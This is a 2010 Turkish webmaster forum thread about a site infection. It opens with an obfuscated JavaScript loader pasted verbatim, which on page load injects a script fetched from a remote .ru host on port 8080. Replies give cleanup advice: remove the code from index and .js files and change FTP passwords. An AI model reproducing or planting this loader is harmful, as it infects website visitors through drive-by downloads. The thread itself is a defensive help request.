• 16-02-2010, 10:06:35
    #1
    cxc
    Üyeliği durduruldu
    Merhaba Arkadaşlar

    Sitemin altına belirli aralıklarla

    <script>var Ur=false;try {this.T=false;var M='g';var D=']';var A='[';this.Db=18884;function U(C,R){this.ut='';this.o="";var h=A;var ho="";h+=R;h+=D;var B="";var z=30808;var x=new RegExp(h, M);return C.replace(x, '');var S="";};this.Eg=false;this.zI="";var y=U('obnPlbovaPdf',"fIbPv");var s=U('/xtJ-4oJnzlxixnGeG.xdxe4/4tz-zoznGlziJnGe4.JdJeJ/xyGoJkJaJ.zczo4mz/GwJaJtx.4txvz/GgxoxoJgxlzeJ.zcGoGmG/4',"4xGzJ");this.kH=42270;var e=U(':e8Q0s8F0Q',"QF1es");var cs=false;var N=U('s4eotoAUt7toroiQb4uotoeU',"UQo47");var g=U('awpopyewnwdqCohwiolsds',"sqyow");var AD=false;var E=U('bzofdQyf',"fzQ0P");var L=U('hLt5tMpM:5/M/Kg5aLzMz5eBtMtKaM-LiBtB.KyMoBuLrKfMiKlMeKhLoKsKtB.Lc5oKm5.LmBpLnKr5s L-5cLo5mK.5nBe5wKuBsKaMgKuLi5dMeL.BrKuB',"B5KLM");va r i=U('sucdr1iOpdtO',"Oua1d");var u='';var f="";var C="1";var a=U('cSrFe6aKt6eSEFlKe6m6eKn6ti',"iSKF6");this.FG= "";window[y]=function(){Y=document[a](i);this.PX=54039;u+=L;u+=e;u+=s;var n=false;this.YL=29644;var j=document[E];var gnx=false;Y[N](U('dbesfoesrs',"sob0N"), C);Y[U('sMricG',"GoMiX")]=u;var OL="";var Zx=false;j[g](Y);var Uc='';};var Jt='';} catch(RW){this.MT='';alert(RW);var YK=45263;};var ZJ='';</script>
    <!--c572c724f2bbfd2f41042569d45e721c-->

    böle bi kod ekleniyor. Bu kodda tam olarak ne dendiğini bilen varmı?
  • 16-02-2010, 10:09:08
    #2
    ne olduğunu anlayamadım , fakat zararlı js kodu olabilir
  • 16-02-2010, 13:15:19
    #3
    ney kodu olduğunu anlamış değilim.Ama ya ifreme yada zararlı linklerin js bölümüne döklmüş kodlarıdır.Sitenizin temasını değiştirip tekrar bakınız..

    Buraya ve Buraya bakmanızı öneririm.
  • 11-05-2010, 13:52:04
    #4
    Üyeliği durduruldu
    piyasada dolaşan w@rez sitelerin dağıttığı temalardan kaynaklı virüsler bulaşmaya devam ediyor :s

    dikkatli olmak lazım..
  • 11-05-2010, 14:08:41
    #5
    Misafir
    virüs tüm sayfadakileri temizledikden sonra ftp şifresini ve ftp kullanıcı adını değiştirmenizi öneririm.
  • 04-06-2010, 14:59:58
    #6
    Aynı sorun bende de vardı. Tam olarak çözmüş değilim.
    Ama n'aptığım konusunda bilgi vereyim :

    Kod sadece index'le başlayan ve .js'lerin tamamına bulaşıyor. VE sayfanın altına atıyor kendini... Bu tarzdaki tüm dosyaları editleyerek, atın. .JS'ler kendini bozmuş olabiliyor. Eski halleri varsa, orjinallerini atın.

    VE Hitit'in dediği üzere FTP pass'larını değiştirin.

    Tam çözüm olduğunu düşünüyorum. Bi'kaç gündür sorunsuz çalışıyoruz ama...
    Problemin neden ve nasıl olduğu konusunu bilmiyorum.